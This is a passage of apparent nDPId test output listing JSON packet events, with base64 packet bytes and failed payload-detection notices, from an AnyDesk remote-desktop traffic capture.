FP3+MQBwDIVclSZ\/R3AZKWrNmEjwwURLcIRJ0oFO1YGbfgv4IcEiHWjdalwK\/i\/NhW4e0A03Mal09uLwrLqZkq6dswimm7mcjlhPlT5k5mb2Ov+DbfepizlvDmgLfvG2GVv8eKx76l8MD42U6YcLgX8uMFuNWS3hIzGs2A25aNPIqcGT8qEj2r6TEo1Di1HeBkHVIUdt4SyF77Dyx8gHU25UjcGOCtPbFTZYyehIJ7pDYEEUB7bHqohlrdkZAQDemgn4+ilWcyQY\/1eh2LbFxFqZNSKtAjbYqF8AvfOkmn28v53U0QyBVmoCk8kFgMqP7+oLaXL51EyE1ZqnlSWzUEHxy8sSUMjbQQne7tDf0l4j8m9yPGrWx9l4LSXxXgq87q95POL4q2qm5GkayQRtVck3gVfz8YP1sQFBmabs3JarZPX6yM1yhgc02B4\/09SL3zRWZpJ2jdooY3c90yE3ig9cVG11f+AEhYXcJ3MbfkWCOk3cp6PHBJsfGFHjvB8WX5bHCJSuEoB\/+N0J+cNeRbnitN4geLz+gRnRMGUHaHapFQT4Xl3jktFNxRKTFss3pQimqpRf1upQ4OrC8RfUaFZfiOt4R7zySWO2B6eLQjqFCSpU\/+1Rkg5dbr6+\/Ic73to\/eS5nj7pgIbI9TAS7sXo7Y7EbBDfFvtSf8x28OOX+KRcImo0Jtbe5KN+O0KFgrxwp381NUS\/wCwX014Tiz5tZK34FyuwbW7Vb+IcR3bXTxFFB2Wz4GF+1H9+LvcbWSczoxrk3X1EIRfECrc="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2347,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4444} +05404{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2361,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":813942,"pkt_caplen":3751,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3751,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiFVAAIAGAADAqAG7wKgBstOUG56PNgzjWcRP5VAYIBCExAAAFwMDDmxZ4hNO+msXUAPGd2NJbba4lwht24s0k97+rONh7ydEeBTnCPE6lA2qeJWjagE76uCjsMOfZpyco4MfAALd0uHv\/DGikj1jeEQ6EHzwHzGJN+4Wmu+uvzQ\/jZFUl+jmwnmXifOKEF\/ZP0GKTTn8ie\/SOgLx+9C6cyBod+gAtlBEp83N92iWCDhMnJqsJEu\/UTr8PWrKdzjIKFCmflPa0ZWvLOxRz9SYbgVgxFnLGS0TXqNnoFZBWmCueP+kk19xjIq2uYGjgRYRAySXzJ80ZxyNFUKXkrFBR0IC6epeHEPerOswkSG97sbgyZmBExQydoiQGh9ly6JVo55vVUjBUhU6a0SzV4xlYXZSANJArJzqMw+bh2Ve7mXmYYDo6XYF++G6gcEkE7Z5JZ94ebB8U\/m5lhwii1FQfm7g0S63tsNAwxf69KkK6xbrZ1fMYCp13NTSes2AVRaNklLtaCkZOZFVGEnHBGeX+2laouL9lj7VhLXdcdr8RXy8gmK4HLEgKvcxAfMUllZzUsGCryQPOrFEYXGYoiesopUD1EQyRgbuub1+jeuRa5E\/2TpmW6cbkUa8KkvLNKBSe0Sex8H\/\/Gk\/QwrvAEeIn68CWbDWBagVPDoIW9JwbSNX+knfM0Z4ibKZmWCX9ukzI5kV2MRR1wCtVincJWdtoGyYQ6pdl6pu\/46J+BDZe36nVvrPson6ws\/FjGQYFd6kFEshHlVyxFWhjiS+gqC+McHeaquk\/Ws5Wc5gH6eASnwNiaX48R4cNPJXYlPX1fwnJJ5kmuPbr+UVocg\/zk95rpwsIWiIpo6I5sSBKX2JPyp99FhNGD+OdK+lmWk0oW4JqLaKDjHDDeSMlQypibNRzlbnV3FwMf24xouFUdjZVuqGFcCA15sOV6K+jU0eOlVWM\/fkgA3ZCBL5Dhqc36\/Y6zi+LlcqVR3cCmQRlc\/nFfIcB3fqcQw68c\/KGUqGsYEieKvFQAVJOCQ2OcJCDLhkhVIEj2A4ND22q47SRrX\/PKtW\/hkCNKQxvXJ7QHyx\/nJnduNAnxovsuGvWQE7Gkqq+raj6fBGJcLo6i1mg\/+g5tobv+\/BI5lKqj9Q+ySB2ESpgb+MXWbPCnOjXz8oaq64LqxJLBUHSsj9\/z4JKeUyF6sig7NaMExjXsxxUl6XxoXidO0nSulnFagsKctSneOYW\/Fcvchk0pKtH8KwVdWAkPNk4AJKlpD6c7nQk3oF0qpH8DZJ4rotBrtIzRkPot3rvvkruK3k\/qWQ6KYP0T\/BkhDw2LQ1dvBxv3j2\/+ylXSDmm0\/X6epdLzWIezsK1\/7iL4JCi\/kxvreY+sAkKH8jet8I5PRmIORrhrxgH8y+8vu++rcOtUZf+r7SHi4+bund9weD9UqXf86KOmfzLuCOZk5kYxddcKl2z6vxxwfnQIj0fNbkRCnThMUeyV+CFokZbrQFvbXR+QdHv77HUBzH9nlaBvnel8\/kCPJukzfohf8l6DQRolvVkEDx2iVYc41nYj\/ZH1W1Y0LJjMOlHWMJFTFbity0UaK6bJMrSx9rHZSrw71KUOBPAl+8w2BRn5jQ9vo2rBGVJAbCSZ1CAYbFWynLt+i4\/qr1pHwb1WoBTJp\/mngmRnoJMe53yAeb\/0jMzK9f1qrUNOdJyu\/V9z5JQcwaCY4wz0TezjuRXA7xuYS\/3ANbbRVa+zaos0PiZXzXFqRNewLLO1coAo5yljnaCg+HHdk6pWi41W3aG8eOgXTkIP\/0j28mqUeSpWZPGdPm1LFk\/wPoiK4VvpJPHNOWODui8sTkBE+NDcq7ZRWZYbS7p\/mCMmJoCGZ8lJLTSileT8LrikaLzogRjc253KEL4q+mMROY7WaqucONZ+paWbWm6JNh5t7g4b237LGQqZFBU6Jzw\/U\/4YFsNU5s74KchMkO56ORq+aD5293cAphd4\/fEl52HL7W7MwyrHYJM12lqcUUizrjXqjTV1VkFLf3VQFEbT1+mnHBncAJJc98R8gO5x+b0iKxSCEUmyqqwgExOOe5AR4aq9U5GtuXuJjlwLjQeKyDTydJrkmY56GfyciowIvUvorxH9e1hewnMmowg3xq3w0H5fqszBCB+rG24IshxNTcr+5\/QxvqS41VurOro146xzx+lWcvd62uwh43IqrKzO8aXkfAwVsI04kZdr7jMu+OAj44\/RvqYoVV10rz+vNgtvrovK4w69KqLEfp0VyOEoZcq0TFKC6yc8xz09RWwlJWvQuoGOkSru1VyzVcnHF9z6uXQk4Cd07qZbIW\/1p5vxCue7S9rlqQMAQttzfXF5H2ygz7RkR58gsu4OqKYWEjUH2Ml8rn+BefnyxLgy0\/OZuf7sfGJeIJ5A2V+O+BSgNKZ+AJoIspo0HIuEav4UEHoKNQh31eS+HfNurtlUgVJz6joqE44e9jA8BbcGyFg0huTquQN0XS0InjnaIsoYNXFvYZlmqTLHO6cReWmXaTiljd1Wyz1rPBgy+\/462gabJ\/XpAM9BGNurnFTmVasvppNLPFo4R199EgvUT8K\/PDken7KbGx9tbYe2ah4OzWEM6ugVQClqVqhiUxYTZdN0DMzcwFT\/GTp1qNX9\/t33KeHC9k7AKarEYxssiyYQEDwlAoj2i9UuuGlDpDhd\/bpgiTjxo4cyg1GXsrtBgrLUGAscm6pyCHk+32Ki\/vUA7+qzkhYuGFSIwSia63i1a7Eg5VTISCoBsw03HJkKTxgvc2BMNk3cEqmn6IV230BNxSdT5SAkBUfJUNwB7+9UrcrrkqlqFQvtLif26WwdziN2R6UTFOsRY5U735G3RK01H\/0csHWs6QEtZfKxaJDZHXVqsVQFh9zFP7TsVB+d19g6bZA2fpxA1Hrtw\/ry06FL3E+al+5I+m8jssHFL7NGrqEDxw+DPOrd3AN6jRR\/clG4E5BTbGSSYugXwX8i99nu+1qV7PSwQgX+792Mx+uOUOmk8A70mECoLVyRUo+2SS+RgREGogDh7MXLL5Z80\/si1L1OxL59Wsm3v\/PbGarLwl0j7RjOhoSeB5KUGgGMgHVy0KQuvIze+PZCKDog7oxkIpC51IEseD0ZIW3z2sMqornf2c9fmTqhZxTPiHUB5MN6ntBmA9XwCIi9PBmZc+rUu94obJPxtgU7vrtIg6Jo9SWkThHP7cCojJUHwFGZ9HDNcddW61IZgMn\/68zERefKAnGtvuuCZL0uSJ66E8pkp3A4fWlbN3yOzUB8b7\/8HkyGHwshw94hiNMjohyaWC9MpkfGvjgaRxVNnZ31jbbKJT\/BaEVO04CzpmrPIZmvH8meHohrzRTjzerNKGcq1DYAVX3PIHtSCPHOUk2667KOC8YP3htIAuJBoMgijyOON8ZIj\/WScZFlr6mu3gGkbTIwLmycQNQmairLrmmRN0KNg\/P1HA9cCWUmNv1gLrOHGgj7ulBXOrOKfVQNrOi7JP4V9X2znNWA+AF0gviD8NdOyOPJv\/SI1Dn\/2HouHCLH\/RleDwW\/RceJA5neHljmJHng+RdUxxQ7fx6+ujZ3qILxYret7a3Xe+L8hKhoNjqOMmsdIlbagXXQEWr2hwvjtSAr6ckMlFcoV1u9DC2y4FRJ3tvtCHJijZVO4o4hJuV5Gtfc9x0TV7eU6WLR1cGDGzvsEVROTaU5Ww3RnFRxBv1LjG74yqqySgVQcFP64PXUg\/zzjjhqx6R4sQBZEHYxAq8dCG7p+8\/QVboer2NUYYf6tcdNQdlqGmlctlxbobrRq4U25olHdr+Pk6XqW+ZQcFlcze0My7T3NuIoF\/HAHq2r2AEOIRCiSvqZ1nfvTWH1wQN+BYHh908zRZwKwoW3LXQEHwpdW27cXbrgTugx+\/beaB73zFZOpLL+itXxKW4PWyhxn4pKbJxUYVr5U+Fu\/zHLLjHnlJ2UNl9fP2pWeLug89\/A28qtN36Bz81nAlfbRYndN1BlFuNk8btIOpJiYoJkL3mNiyhRBG1Fd\/eSLG\/up\/dkzATaX42x2w5lxYLHkMKlIWpzUeIcIV8pFgEeTw9lFugqdVeI\/\/pPzRIGexSNa8NNv+7hS1B+pqg2IGn+tb5woWVU299+P\/iv2ZqnVsilQ24cuvXQTioHndqWgawvlmbnr8bV+JA\/xw4Uyfo1VsAZVPhd7u3pqCt1CpFmpI3zjvk8LOlmtg+cTBWbg5lcIDXxbXRjxRAh+6I7EgBmH4WU7WDgqcPcfMWh9kEdq\/\/BR6T+RI6cHCyJqWrDu\/\/4JpizSo4R0ETfDazv+5\/IqqBEyO\/GAB9HCkNY6hRJit9wKlAqb2GyNCaZqz\/v1YE1MDn++ej4F6oQn6TOTur1YJY5HMBjW3i1jI9kF+RwhSF4mdNyjQue0eyF7IX\/vkbBXdBWWWgk8RR5GtU6kk9pgXBzQP4hGqdepamQlXNh9IWZD7d6n+FJdSGE0bR2nSM49x6jju3pkAORnz6Pjo1gY8osNw2huxNfSgYzomAZGNYibhpO3KbTooIR3y2JpGdWlMdnHvaokQOQZGGWJbuvgRx3ASX8HDnXg1XYrwbdSKUJQmy38B7O1\/Vl6BJhmpgnn9EbnolXhXCcNOZFbEnEJ2gsXFI2S2hwB\/jNaLThW52btPBRwssBO8mO46ZaWeNjiZfgDyItC2QCOjWAnM7Layxi28dcOhYtBnUtJIt7mjuGLdt\/zSczUpFBQXPDUKcA1W3VLqV2lJycBbw6U91KLyIrLVzl8PQPSoCqe\/+JW5SsQE8vkHPnnCHNgZ0lx2yn0XPixQ5VLx5RT2SOvvzGPWYQr+p3LahWvQSWaKuhCvYjgtFHHzmZNji+OX3bmOslGUAkxtKuRsj8gBDN9n86AK6c99s\/Av3f++WX8tu5s+pCEcGOo7X2HC8FiemHT624vb6l8Zg4Djjud71hcIurOeExhwqtXMVwOZ4d2p6Mqnd5lGEXQXsQ=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2361,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3717} +02505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2391,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977616,"pkt_ts_usec":41764,"pkt_caplen":1627,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1627,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiHZAAIAGAADAqAG7wKgBstOUG56PNh0TWcRSGVAYIBSExAAAFwMDBiBZ4hNO+msXVbngI\/vVIBQMfyNMS2uwMZov8YlF9IuBEVsqpus8RZDULoUvfQUvOnWklhcviz03PvZWacbgKIeaUk2yjzKxoS9RL0mK2aO9ZaBIVptwME67q4XbFqi8abqzLMewq5LicZpfP6FV4ZdG4co\/+JfPEAAidlNbSaWtZZRZZkhKQLDWIOJf24AmmgM2xB3iIh4jHa4WpEgJcbR0uXPfHKUCGIKH2+hyVRUWM5Ch8Z2dshJq3mSw72TclOpLsaRcG6tgGuaTGOPea8Pbf2dbgIhJMUL8D9kF\/hKzgLDk1eBbTkf+SuxgBm9mERk50rBEGZgOG+KkcVOySN9p0go6vYm3FpYF\/yvt16\/Ok41S8elnC3n4OOke4rG+E67HbGxCeIsx1mX8p7q4jFhlJthozaYIs6nTIjHaTH8GA1xlT79dQGsL10eBKwMpqlpJ3xBoO5kKnkpFaIauPYIneg6ZcRFTh5bx0t0LavLqwR1qHFUB\/\/XEzBYioD7TNG91Q1giHPaVAt7PYbX0N1ugAilJO3WbhuYOCTEaG\/tqTxwexB70iKDWfKpC94ry82r8th3S6AmsxRI\/qp7yeZj7Uh\/2hqjYlUqoxi9R\/QkiOuSKqpAiTUOKhyaxbxkFoB\/cIM2iSvirvvLar+A5V3KFn11uAf5\/rrGAhTjP4wLoQFgE8BPBPAf1N4wMybyIZwhrirJkYKpnI\/8apwyY8SB8ErVZoevVE8NyZLUJvtMqr4j0Ult8np1LmQ0AhzDW4rwjlfBSRO4QD9pmv4Tbidutg71YGASfQZ9hcuKa4dCLyOv633N\/lst\/D0DJkM5K5NJfmGajQks6ACBzgNL1VPP05mPTWRBafZYrqMdX+5AJjDx3y60tXLKPkUSSru1SrALwNFv4IvwO1\/NRrjpQFz0rVYHTD5lkRNFHGFicgy\/qJvNB5HTMTM8OdYiDLLyLl8TtSabYrHD6bGgTq3mjTqb\/NaRIkFj5KxID67raJYvRQgIkTafWywjLOOW60FkN+wHm0+kJumiICqdERd2EdykdbtsKnqUnYgnXtggYXoq3MJKhUWF46DmqImgd3ayaudODVKRph2ZZxZbET+eNyoAlAy0Xby7jnKnX5ltN6JbWLl6Oh7G37eqVsZwc82JhtJcK2A0xbfwG27tr5q8hSzPoL9gj59xUuktGV3Yx7gLJPpio2eIv53m+k5awdv+8Bajipyl+eQlal5PdKZCkS2cDCiI2OxbE9zoYDwyhBskyEPVjelpDUNjeZo2ianTfJf+yDgj41b9MmQtaMt2VQ5NBq\/OHTzBXyfMufi1Rp6a6T3wnq4FzuJfPL1NpSU81yi+ObfePLsCe+cyv6dE+qvLBtzWZx7yo4wlFgXpiw1kAGtln969A7vCauMDmPeYikwytCbfu6WaPqMO3vaW2OuG8Nozx1AvXxaJAhs98KV7AfQQZh6QvOjNQqrM6DlHBd+Ut7NTIswP7L+zz0j8Lix0P0USe3vhHqOvH1R9oJhNPdJLNXczH9UTvMzN3JnHZr+VCyebgM0l1JaHJvjbSsd4ChrlTr3xqt5BtSh7HrnIclih\/WEbSRhs\/R+J+op14gNH8SgLMiyk8W0\/e1NKQzVuieBxf\/haQyeDBt60jp+EABm0+y4OORWK4S0CntX5ktRT67Ou09MFi33GoYZWcLQ5YvNLAKOLEJMYuEvUE+OPXRHDHNpXsTlGjZ+VEayTJXt06uRkMgfORI6yYyFaR7EVp+BBf4n0ICDpe5E6Z5v+DCSLB7jqAZbxiIf2SV+a\/ps0+KJj4O8iAWZ1JzEHEbyRyUrk\/lrSq7ggDb6ivXAdUwzn0RAP0Pl\/\/6CATGt2RlBATCl23WFje0cd2UOTnQmjDvBgLwZ4GStfvNAc9IxKIW5SA2x6mQ2UP77O0ZPf0bFhr59rWupu8LDFvDfC9UPtn8XLwzLxjkdj4Tlvh9DhmOiS5VFERAlk1u8UztyDyI+aNyuaMh1NEBor1TagDXrkL5NU8yXctd5HtPrrTuvtVUv7ycZiAhV9kvZT2l18V5wHgyNLAz8QYt39M3LhxGCqLnDML8hh97e3I5p9nmFd\/AA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2391,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1593} +04536{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2392,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977616,"pkt_ts_usec":42120,"pkt_caplen":3130,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":3130,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiHhAAIAGAADAqAG7wKgBstOUG56PNiM4WcRSGVAYIBSExAAAFwMDC\/9Z4hNO+msXVtmEpwO8Bi4AyVwZA7BHrhqIE7mBVdakQx2tVSk0AylcHlEMLF7HDGbSipsloIl9evwj4l8lM0tE0S1gI3m69PmVIU8XLiUc5CC+2ccPpJYlB+eniAJpXDPhhhiLniAtOl7ETpPQ\/zA0\/h3HtzixiLAKXHzP4201qKJCnFz2LB2O2FR3EdZK2LQ2DnpgV9JERF3i+TUYy\/jPl7b0Q4Ar60aJD1Lg8e9jnzJ6pftRwOvin9RTaJvJX2lPtgaXyFARLjCmX\/TEHp33\/nhJK5DweLS8L5Cn6DjsGX1ADwM8vxCxUOMk6sevwH4XMxNR7n3hSnovT4irNbTYTJ6TQjg9QTe9KPJpv2e6fcz+nQw8jmqKR\/FvfSqrjD4axR0i5bA8tWtn3IkzNNN2zmyiyQOmsrlYyNK3UKW8GXvFRCGgi8FIaxTYsHja5uOrnwaqbd202axg6TdyDJiKlCg4HTFgMqbmLhl9Q7JRiHa\/ehsvbzTq\/w1Hy\/NLnZ7rrasIxoqch+Zdag6ZESO6gd2pa\/6tsvG2fa8Mw9EMyn6wCoikThcNOsrkKVjMfdr26CibmRTiK2fA71vQQ6xevJXVHL0t4w5AVg4tGteLoWTAvfLRIJLfMlv8XffdekbGTk74EX1KLzXZKjVYDP2L4dw8gy+xzWWnlO2gjBSsEXeCBHjzkxqh8EeL\/dPLpFhVU3ZyTt7lCBvMR4bmVOuRiu\/0twMh\/nm3uqs\/vzdYNghf3bABnGUZ40F13eUsxgOYBPVwg6GgH2XQIbt4W+Pinprn7kyQzG2RpSss19J2hxnwDF4UR1w6bFhgFwGeNPYI2pbFsjt9P1qxLT\/0lGO2VBIMgpcQCq22WISsu6hOW1wuAPlqRL8k6xNkEkGtUbqf2Q+7HFzJ5l5d7l9gSc8hTLEbRHXhGqihmPs1VU9tDc+Foj7rmz8pYQFyCe9KlnncUT1Pq+o3OuqRXCjdyj6vtWmJu0CVNFZCMgVi+8W1hu3qEAHAAAPaoRdOyRhG2mTsH9kHHhzILjaPlUEuV+AIr9bA8dfqDj9ev9anHAsfeiBDTBYnz31f6ZvDWzNq7h5yo6Qu3T5oKJCKAVThj404i5nlfYn\/nUWid5qf8s9I2mzIB30eyfSQFivJacr07FTFCTvXW1fO86H3qo1NUa+GIQIv+y8l4n6gZ4Md6YyHTTu6PxGxQ7\/z50q3y\/hZwIRtPboZvDb61Yjbq9epc8iwCT0SoEMUMu4p2lfhtXPaGV411S3w0aYQd9zX98UAkrHyP\/GcoxDUqymGa2JCPQ1st6wXTx64qJRUHMUkHvUGvedOZRDeUeLXLZuRqnDbJbx3hcBLhBZcKBnkjwdRoX3CnFjCP0ulRgu1qqyjwza8RAVJt6mefAj5i+zCYEFG76CMrt0+LJRDlD+NKOsNNhOG92lXUQ1fg1Szh9sXuo3KgmL4GirNHgIWPv+AKh66HFaY0APo9JSqBhAS0X9m1Ghxzy1v6B3Zupzq5qzTNbezv0SDP35MQhE7p4oTdsf+5E3GFTQ9F+2xTSNlWnWcyRiYDkj4xT5XwVIAkjAsNhcLb\/FWWDFjvYMk5b0Nvir4G+ngZkGgi880b6JXCmTjGWCViCMWz0yRN46ZQkBra2dmspiC\/1mlM+TnOBK81g3ugNiKAFIxCSpv3X1oFj2U6kguKKWckDV3lZZFeQbnWcu7HrMaHOhkydNtmsCittxaJc36kl8Fy1Djhtg7yfEIAMupALcdAWwBzw2WU++pxmeTv26jaTudplvj0IleHI1Ht6nDT0sagPYVRSNJ06QA7We9B\/f7RlgHjcP8UD9RhPH2UqVY9glfMljPCHeMaYC6RHgoMqOHWVrJ12Mu9tMB0wktTU053J0yZGVp67V0BfcIKipk7o6\/aez+SBeY1EbAnc1i73+OGZpQBXxh7aTWBatScma6m9bnPQHv5O8eir5Upu0ekd\/zN88Y5n3FFgFzYWHTYEMToGnkqWRq2hUHfpNTYL0DfFyvse5ooPo5xKeoJeysWj1+zSYpPjkHLF1YNZv9Hil19Lkg9EJfOIDMr+bpA\/+8Kf+Vs9DEYCIjcVckAWcdlFFtJa8+MG124P+iYsyqlrk0qK3tZxfrNti8FpHiKM\/Ot+X8dSnzaH2GsLfaQwJm8YkLi7JDcJO\/CZqBjxoyLh7oiTPK5+X3t7rGlFP\/k1bfLQiRgRIySy+rIDG+aGXleDlpFjgF1mtsuse1it3MSBC4ozCLZDfPBve7nrPcgBaguuKaJOX1eZ\/+2ouRrJzxjf8HO29Hxfss\/9MzL5PMED4WAVrp8YJpaezvpA4db+1q1M60OxMbXvPwKEcOquJ+ZuhSTtxZKnfM1\/xNLwmWwMgp0+W+5wYnH+wSeS1GcTztFAAO\/kj68\/Gu+g+JqzAh26EBYyaDKUGie7vZEefowsf0HNMKH3kVnqX1OxHPv9RnO8uMwNGqycHozu6fayiA0hpzyOR7YL4B6mPydkVTvqJA4AYOWjD1kEbY3ZRK3MFzYAXB7nbOzMmeonnqQLFo+LG5KxYKP9QgVTZAtcyzTkV\/B9g9F5dK79gPivLf3wB+Ktrs2VYSNRpuoUp34sxK04\/1khqaOhqEfGb5c\/7xinKv5TR28U9WeQ1rsFGW\/QxuRfLfv9cOjziZk2x4Tfzjsi2MOMWm42o7HUvr9Gj2C7ovOgw\/+UAWjwN+TxW94wwE\/mKpDGpjhSK4GmFgVMGiarUpM3OaEAvFuWqTAimGCwsszg7bbbw9m5olY8P7nok64jafTxYBeFpdmdAPWUQPudnFkfBeme26iJrKHgKJcAverAuG3OmfcF6udEZeb5O+GHHzx9ATAoXW49N2r7thcDOvDXnLNfYu\/xFSb52vo7OGVQsTxNmU39WI7dk2cHtxA9QuPaDTiAPtrc1nhPC6mRk1nVW3ES0q\/oB5bXkpW4v3vxUBkdI602hBbAq+p6hsdrI+lKughyQu7Jlj3tRLhtD70pDMEseIakgSCqgjjNeyuMFIKHvv0FqYXOYE559DTpc0dn+p8VmfWmVdArjKyuW8Bx2Pt6QJ5znjuoA\/9XwI00bFhlhhtPs9lw0c9ABf1olenYQcBCb8u7k1W\/Yk55H3h61kNYsoitKUj+db5VW5NQ3IE4DrGFNSiZTyLHw3fi3neEXEzb9c+i5RXl\/NFmewN+6E0MmQwN3tIDo38sFq8C6raDW5SnfqO5tdiltxRup1QmEDns1CDGx21QI6B48WMhdoXQaOzmoWukMufK5h9k653BO6Fb5AmYQZfSPO81WmPannra2LAsMGczT6WyljgnZ2uVeOeWZWwa5UiENY07NCWdlbKuZdR9jyZZX6xG\/zd2n089Z6y7QtSIMsAa1URXCXTrQDrwRFDz0geg6\/4HfNkzSKtJNbpzPyHrhY6fGPYC3+76I9jiMLvPhHLboogRa0gv\/oCPzd+nvb+7AKeI8o4bKIquoV910Lns\/karANIx6WFvk94qKMJ40uopmIww40b+jLoVMWj0eQuDYtfkqUHCpl\/am8d0XOCeS2NrUD7bEJkoVadoDZncdKrFS+VIIJCrHTobAOHcWtiwbNDb4PckZx5gcFb0yGquDwpMTIYc4aZfuYeOdUZcjn\/pivbEkQIdk14sOk9rJO\/SWiT6DSAq+P4rsF0Fq+cpovNhRj3Ecg7Z4sM2IqIG6lvOxLgJAvJ1qj88x0ghy9teNcBdVPwjX00DbnnI4YyezeDsKJhdxzhUXs7lujpuuvWDX2q2uRsW2OHKItp5ZajEpDZq29Rjx5hJjfvxcf8XTyTnI6FoCqQPqJpEsvBnGRDn6EWIpu3y\/WumlnPylYkilqg\/GYTw0qcs8nQwkHhZECWFqQexCZX\/BSFFR89phondp0bbCBaGs0uWRpeMLrvdeVyWyysEHa3ObUeGG2r3DbBauR3DfL5B3FsWN9PemWzktur6urZuW3e76xlop746nFwQumK8OUlOWxr2X88umZKorNtoxSUhJ\/AjzX4WblMzmG9WtVfN2Mfkum0Jitpa8i1FKhXsdHwaaikPPx9yehdz3N8m3WwperbMCt9wk7optkmCk+zYRAK9Vi3A=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2392,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3096} +03164{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2403,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977616,"pkt_ts_usec":71587,"pkt_caplen":2108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2108,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAiI5AAIAGAADAqAG7wKgBstOUG56PNjBnWcRSplAYIBOExAAAFwMDCAFZ4hNO+msXWJXiiUGllMO1kPVxbheWfqqWKRY\/qq7MLeOfufBazZfLPXeApUZpYrcByLBHG7XPexl5G9RpM3nOPrve9Bmszy+vByo2bq1nJ0nCbUPXLRLpQV33ZDzF\/nKTf983XEqXDWKssqZwsuGPljRYfFmPHg0NKF\/OOXlDnq4XvNHPo4TcPJgINGsS6xSZyXS1kL6PCJOevkxKXMhQJkPff7vo9x3V85bq3XWs8SgdRjk6Jlvl+reMXu\/WylE0K+wAQj8zcRP4M49MmG\/t7YfWHcCtbpFDa+JyfSIymhoBhgMQdoupD\/HLssSo\/lR33OcCiGhRQd0DneiaNEkSlLfGUP2e1dRidg9EclQTis4PQcQSMl2Iz1iI3BAX7bm\/lEkk5nLYe1WvwngCH2yh\/3RFCtL+upiPyjyIm\/onxVyL2bijipcIcoPbu0ZaO9w+UaPkIt\/BHJbfKPTgMzjK6jfjj89w9Gy6cAKTCBlgBzAxkraEP0hYGpPMGCg4Cwdhhl22UXzikyZSPH9wOQeMa1oLSK4U8MdYmZrFGle9z+rSq2ai76wnI2osLIpwwP7fiHQF2J4viVHCgw4tGP+oIxTQL+9g6ig8cpNL1vVAKq28pykL1kcL59cluKziOQxF5jktNIikIUStYqTQ5ios6UxY\/gX\/KxNQavknpye\/kcVvQIo2XIctzGijjyUHLpcwLZImpjUU+q7usM7OvGb4S\/ZSNTJh0bRi0VCqGqDPv3AS4pXeO26vP3wRqxKZ2QEZrOC8xZa8XE5C7QYDhAhqtpnpiNEzvtFih20FD2aAsVF2nM9XJB9mhHc0Kq82aijBF4a1W0FEaZnjpfWNUq8lsOPyHCBYJiAHdyTwB0iGoMUURVj3Wi9AI0fJJG7LMS+m2hr3TNitc\/e6wFvHrxutgJYnyyHB7sgnE6tyEDn1vY652sHaZYoyoMlhV93NZ9gKT7dCqF\/2YlIRQG3m\/IlaOHqQQnuf37OK7+N6sZKyEIuZofb8cmRNeofluwLLQgRsG+tLIS68aoV2ey63GOz1luSRMbLVH1vIENSlMOs\/rrtZ\/G+6rww5R9vfgZMXG9tLmW+3uTku6tWotDdNft7WLQwg2mKxjPOi6YkGwP\/uWQZTOY1KN3qvGJraa7PFfye7idF5AUYZGV+W7uxFpu+7ajoIDK7kUfRjjxNMG05d6YStCc7z77DtUCbyDMBEGLlLqFmkW0dIT957FB2+948mLAVvcmGMHgv5\/HGSQzOgKS7pHrrAh1h6pYW7ZdwcmxYhSq89OaKXrZ7NRafUj+483AKjou12qQt9B\/xISUoAEW1uOLsZr\/MLMGrWNTuopeM7bK83G39B515vQd6GjLVvZV+0VoF1YvEXHS3Hx1BnqKK7DXSih1L+s2LCsfWIoNGLe7CGD8LDBUH8VnhWdOAw2839f470hcIlqu5XhRdTLGLvjb+sx6cb+SVZSM3gSCZwjNr8UQwwl7NnVN7ig19IikG2RNx6PTfw0pl\/Dx4+khkdMO\/joJtqKaJZM3dJVwJI\/WYTMx2Uzz\/uvUtHbRJySNcQzdnb6mF5pVIoSDMhrkE\/6uLd4R+noqT9jehodBH2zTRvT+2a61Ej2U1duPXo6KTozBOgqN0TygjX1DooXaXiVoOMQyG1r2\/Q03HeGoaqWhJtEIfNjLJVhWxbpS6bmVtMwNG\/aFowNXXO3O+Yq50yqQKZaoHNe3fuZGsIh8lX29GaovdcltjJow73dRklXdbxPYX1B\/oo+W7Psv2AH5JwxQp03yZNDXztLlslbkr36mn2NsAiUSFet+2jOQ7MLnOCNtWSOeeKlyGHpjiTMlbH1yxPU3ujxRiFxDWreVWhZgFXGMtcIagV+5KCLHHtPUUwDXdh1\/sGMXLayRp28jXglZ\/5c078p1vwP26i4bXsH\/0ZjJJCK5e5EI3kixxjRQCCxmc\/6SkS\/2rnRo0EIZXrZM1aCAEERKOf+6+xS\/msK9fEB5wZT0PeyKpVU1Loiy+5WTxF87BKa9kK1TW2+aUbnTALyy4O+gN\/FgeTMYDDA\/sUu64fXuOPFxtgT9DXTP7u4UD02z+bDWnB2ryDy+BNCwHdg+FcXSeuJHoGNF7WxhNEiTMOfBC99Ta5\/jnj48Sy4e6yIubZVeNQ9doIaWtWZvEQ6n7EMlkJf0gEpc4SH+AhLw4djpxvp6zwwNOwIlFZCtHV1qcdfVvm0xAVe9c6UZgwr